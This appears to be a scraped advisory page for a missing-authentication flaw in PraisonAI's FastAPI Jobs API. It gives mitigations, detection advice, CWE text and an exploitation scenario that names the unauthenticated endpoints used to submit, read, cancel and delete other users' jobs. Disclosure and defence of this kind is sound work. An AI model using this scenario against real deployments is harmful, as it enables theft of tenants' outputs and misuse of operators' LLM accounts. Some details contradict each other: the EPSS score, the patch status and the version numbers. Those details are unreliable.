AI Threat AlertPraisonAI's FastAPI Jobs API (`praisonai/jobs/`) ships with zero authentication — no token, session, or per-job ownership check on any of the seven job endpoints — so any caller who can reach the service can submit prompts that execute against the operator's own LLM credentials, list and read every other caller's job results, and cancel or delete running jobs. This is a distinct, still-unpatched sibling of CVE-2026-44338: that fix hardened only the legacy Flask server and never touched this FastAPI module, so anyone who patched believing the jobs API was covered is still exposed. There's no KEV listing, EPSS score, or public exploit yet, but exploitation requires nothing beyond a bare `curl` once the service is network-reachable (CVSS 8.6, AC:L/PR:N/UI:N) — the only gate is that the default bind is loopback-only, so exposure hinges on operators publishing the port via `--host 0.0.0.0`, container publish, reverse proxy, or tunnel. Patch to PraisonAI 4.6.58 immediately; until then, verify the jobs server is not bound to a public interface, and if it must be reachable, front it with a reverse-proxy auth layer since the package itself has no built-in gate.
What is the risk?
High severity, trivial exploitability. The vulnerability is a complete absence of authentication (CWE-306) rather than a bypassable check, so there is no crypto weakness or logic flaw to defeat — a single unauthenticated HTTP request against any of the seven `/api/v1/runs` routes succeeds. Exploitability is gated almost entirely by network exposure: the default `127.0.0.1` bind means most default installs are safe from remote attackers, but any operator who exposes the service (common in containerized/agent-orchestration deployments meant to be called by other services) is immediately and fully exposed with no privilege barrier. No CISA KEV listing, EPSS score, or public PoC/Nuclei template exists yet, so there's no evidence of active scanning or exploitation in the wild today — but the trivial exploit primitive (plain HTTP, no auth, documented endpoints) means that could change quickly once the advisory is indexed by internet-wide scanners.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | < 4.6.58 | 4.6.58 |
| PraisonAI Agents | pip | — | No patch |
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade to PraisonAI >= 4.6.58, which fixes this issue. 2) Until patched, do not bind the jobs server to a public or shared interface (
--host 0.0.0.0), publish its port from a container, or expose it via reverse proxy/tunnel without adding an authentication layer in front of it (e.g., a reverse-proxy auth_request, mTLS, or network-level allowlisting) — the package itself has no built-in gate. 3) After upgrading, confirm the new auth is actually enforced: send an unauthenticatedGET /api/v1/runsand confirm a 401, not a 200. 4) Treat this as separate from the CVE-2026-44338 remediation — verify both the legacy Flaskapi_server.pyAND the FastAPIjobs/module are running patched, auth-enforcing versions; auditing only one gives false confidence. 5) Detection: monitor jobs-server access logs forPOST/GET/DELETE /api/v1/runs*requests with noAuthorization/X-API-Keyheader, and alert on job submissions from source IPs outside expected internal ranges.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-55539?
PraisonAI's FastAPI Jobs API (`praisonai/jobs/`) ships with zero authentication — no token, session, or per-job ownership check on any of the seven job endpoints — so any caller who can reach the service can submit prompts that execute against the operator's own LLM credentials, list and read every other caller's job results, and cancel or delete running jobs. This is a distinct, still-unpatched sibling of CVE-2026-44338: that fix hardened only the legacy Flask server and never touched this FastAPI module, so anyone who patched believing the jobs API was covered is still exposed. There's no KEV listing, EPSS score, or public exploit yet, but exploitation requires nothing beyond a bare `curl` once the service is network-reachable (CVSS 8.6, AC:L/PR:N/UI:N) — the only gate is that the default bind is loopback-only, so exposure hinges on operators publishing the port via `--host 0.0.0.0`, container publish, reverse proxy, or tunnel. Patch to PraisonAI 4.6.58 immediately; until then, verify the jobs server is not bound to a public interface, and if it must be reachable, front it with a reverse-proxy auth layer since the package itself has no built-in gate.
Is CVE-2026-55539 actively exploited?
No confirmed active exploitation of CVE-2026-55539 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-55539?
1) Upgrade to PraisonAI >= 4.6.58, which fixes this issue. 2) Until patched, do not bind the jobs server to a public or shared interface (`--host 0.0.0.0`), publish its port from a container, or expose it via reverse proxy/tunnel without adding an authentication layer in front of it (e.g., a reverse-proxy auth_request, mTLS, or network-level allowlisting) — the package itself has no built-in gate. 3) After upgrading, confirm the new auth is actually enforced: send an unauthenticated `GET /api/v1/runs` and confirm a 401, not a 200. 4) Treat this as separate from the CVE-2026-44338 remediation — verify both the legacy Flask `api_server.py` AND the FastAPI `jobs/` module are running patched, auth-enforcing versions; auditing only one gives false confidence. 5) Detection: monitor jobs-server access logs for `POST/GET/DELETE /api/v1/runs*` requests with no `Authorization`/`X-API-Key` header, and alert on job submissions from source IPs outside expected internal ranges.
What systems are affected by CVE-2026-55539?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, job orchestration / async agent execution, multi-tenant agent services.
What is the CVSS score for CVE-2026-55539?
CVE-2026-55539 has a CVSS v3.1 base score of 8.6 (HIGH). The EPSS exploitation probability is 0.57%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0034.002Agentic Resource ConsumptionAML.T0036Data from Information RepositoriesAML.T0049Exploit Public-Facing ApplicationCompliance Controls Affected
What are the technical details?
Original Advisory
PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.51, the Jobs API create_app function mounts /api/v1/runs without authentication. Any reachable caller can submit jobs, read results, cancel runs, or delete jobs using operator credentials. The fix adds PRAISONAI_JOBS_API_KEY middleware for Authorization or X-API-Key. This issue is fixed in version 4.6.58.
Exploitation Scenario
An operator deploys PraisonAI's jobs API behind a reverse proxy so an internal application can queue agent jobs asynchronously, but forgets (or isn't aware) that the FastAPI service itself performs no authentication of its own — they assume the proxy or network boundary is sufficient. An attacker who reaches the exposed endpoint (via proxy misconfiguration, an open port, or a leaked internal URL) sends `POST /api/v1/runs` with an attacker-controlled prompt; the server accepts it with no credentials and runs it against the operator's live LLM account, consuming budget and potentially eliciting sensitive behavior from the agent. The attacker then calls `GET /api/v1/runs` to enumerate every job in the shared store — including other legitimate callers' submissions — and reads their results via `GET /api/v1/runs/{id}/result`, exfiltrating another tenant's agent outputs. Finally, they use `POST /api/v1/runs/{id}/cancel` and `DELETE /api/v1/runs/{id}` to disrupt or erase in-flight and completed jobs belonging to legitimate users, denying service and covering their tracks.
Weaknesses (CWE)
CWE-306Missing Authentication for Critical FunctionPrimaryCWE-306Missing Authentication for Critical FunctionPrimaryCWE-306Missing Authentication for Critical FunctionCWE-306 — Missing Authentication for Critical Function: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
- [Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:HReferences
Timeline
Related Vulnerabilities
CVE-2026-4816810.0PraisonAI: shell injection in Claude Action enables RCE
Same package: praisonaiCVE-2026-6144710.0PraisonAI: RCE via unsandboxed LLM code execution
Same package: praisonaiCVE-2026-614459.9PraisonAI: AICoder root RCE via unsanitized tool calls
Same package: praisonaiGHSA-vmmj-pfw7-fjwp9.9praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonaiCVE-2026-473929.9praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai